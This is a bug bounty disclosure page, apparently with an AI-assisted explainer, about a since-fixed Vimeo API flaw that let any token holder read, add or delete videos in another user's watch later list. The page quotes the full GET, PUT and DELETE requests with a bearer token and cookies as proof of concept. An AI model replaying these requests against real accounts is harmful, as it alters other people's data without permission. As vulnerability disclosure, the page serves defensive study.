[URGENT ISSUE] Add or Delete the videos in watch later list of any user .
The Vimeo API allowed a user's watch later list to be read, modified, and deleted by any authenticated user using their own access token, without checking that the token belonged to the target user. An attacker could remotely add or remove videos from any user's watch later list without permission.
- Fixed in 10 days
- Paid in 10 days
- Disclosed after 40 days
This could be done using vimeo api .I used the access token of IOS vimeo app .An attacker could remotely add and delete the videos in watchlater list of any user with out any permission of user.
get the watch later list: GET /users/<any_user_id>/watchlater/ HTTP/1.1 Host: api.vimeo.com Authorization: Bearer 675b8f568f2fe06ec89b30bab0195f95 Accept-Encoding: gzip, deflate Accept: application/vnd.vimeo.*+json; version=3.3 Cookie: __utma=18302654.1532978367.1426999777.1426999777.1426999777.1; __utmv=18302654.|3=ms=1=1; __utmz=18302654.1426999777.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); vuid=811402013.989751578 Accept-Language: en;q=1, hi;q=0.9 Connection: keep-alive Proxy-Connection: keep-alive User-Agent: Vimeo/1006 (iPhone; iOS 8.1.2; Scale/2.00; Version 5.2.0)
post any video to watchlater list:
PUT /users/<any_user_id>/watchlater/<any_video_id> HTTP/1.1 Host: api.vimeo.com Authorization: Bearer 675b8f568f2fe06ec89b30bab0195f95 Accept-Encoding: gzip, deflate Accept: application/vnd.vimeo.*+json; version=3.3 Cookie: __utma=18302654.1532978367.1426999777.1426999777.1426999777.1; __utmv=18302654.|3=ms=1=1; __utmz=18302654.1426999777.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); vuid=811402013.989751578 Accept-Language: en;q=1, hi;q=0.9 Connection: keep-alive Proxy-Connection: keep-alive User-Agent: Vimeo/1006 (iPhone; iOS 8.1.2; Scale/2.00; Version 5.2.0)
delete videos from watchlater list DELETE /users/<any_user_id>/watchlater/<any_video_id> HTTP/1.1 Host: api.vimeo.com Authorization: Bearer 675b8f568f2fe06ec89b30bab0195f95 Accept-Encoding: gzip, deflate Accept: application/vnd.vimeo.*+json; version=3.3 Cookie: __utma=18302654.1532978367.1426999777.1426999777.1426999777.1; __utmv=18302654.|3=ms=1=1; __utmz=18302654.1426999777.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); vuid=811402013.989751578 Accept-Language: en;q=1, hi;q=0.9 Connection: keep-alive Proxy-Connection: keep-alive User-Agent: Vimeo/1006 (iPhone; iOS 8.1.2; Scale/2.00; Version 5.2.0)
above dump can be used for proof of concept .fix this issue asap.
I will message the proof of concept as a video
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the API endpoint for watch later actions did not verify that the authenticated user matched the user ID in the request path, allowing any valid token to act on any user's list.
What the attacker needed
A valid Vimeo access token; knowledge of a target user ID
The fix
The API should verify that the authenticated user matches the user ID in the request path before allowing watch later actions.
How it was found
- Obtain a valid access token from the iOS Vimeo app.
- Send a GET request to the watch later endpoint for any user ID with the token.
- Send a PUT request to add a video to any user's watch later list.
- Send a DELETE request to remove a video from any user's watch later list.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you log in to an app, it gives your device a secret token so the server knows who you are. The server should always check that this token belongs to the person whose data is being changed. Here, the server did not check, so anyone with a valid token could change another person's saved videos.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.